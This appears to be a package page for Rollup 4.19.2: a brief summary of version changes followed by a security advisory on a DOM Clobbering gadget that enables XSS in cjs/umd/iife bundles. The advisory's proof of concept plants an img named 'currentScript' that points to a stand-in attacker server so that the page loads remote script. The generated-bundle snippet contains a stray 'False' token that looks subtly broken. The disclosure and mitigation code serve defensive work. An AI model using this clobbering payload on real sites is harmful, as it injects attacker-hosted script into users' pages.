Rollup 4.19.2 represents a recent iteration in the ongoing development of this popular ES module bundler, building upon the foundation laid by version 4.19.1. While the core functionalities remain consistent, subtle refinements and updates are evident upon closer inspection. The core dependencies field remains exactly the same with @types/estree at version 1.0.5. Similarly most of the devDependencies are also kept the same but the most important change is in the optional dependecies. Examining the optionalDependencies, we observe that the platform-specific rollup binaries have been bumped from version 4.19.1 to 4.19.2. This likely indicates targeted performance enhancements or bug fixes specific to those environments. Also the dist field shows that the unpackedSize has grown by ~400 bytes. The releaseDate signifies the freshness of the new release, providing developers with the latest fixes and optimizations.
Developers leveraging Rollup should consider upgrading to version 4.19.2 to benefit from these incremental improvements. While not a major feature release, the updated binaries in optionalDependencies may contribute to improved stability and performance for projects targeting specific operating systems and architectures. As always, thoroughly testing the upgraded version within your development environment is recommended to ensure seamless integration and compatibility. Stay informed about the specific changes included in this patch release through the official Rollup changelog or release notes for a deeper understanding of the addressed issues and incorporated enhancements.
All the vulnerabilities related to the version 4.19.2 of the package
DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url
or with plugins that emit and reference asset files from code in cjs
/umd
/iife
format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img
tag with an unsanitized name
attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
rollup
We have identified a DOM Clobbering vulnerability in rollup
bundled scripts, particularly when the scripts uses import.meta
and set output in format of cjs
/umd
/iife
. In such cases, rollup
replaces meta property with the URL retrieved from document.currentScript
.
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src
attribute of the attacker-controlled element (e.g., an img
tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js
script, the devloper decides to use the rollup
to bundle up the program: rollup main.js --format cjs --file bundle.js
.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js
is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup
bundled script, bundle.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
due to the introduced gadget during bundling. The attacker only needs to insert an img
tag with the name attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs
, iife
, or umd
and use import.meta
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name
or id
attributes.
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;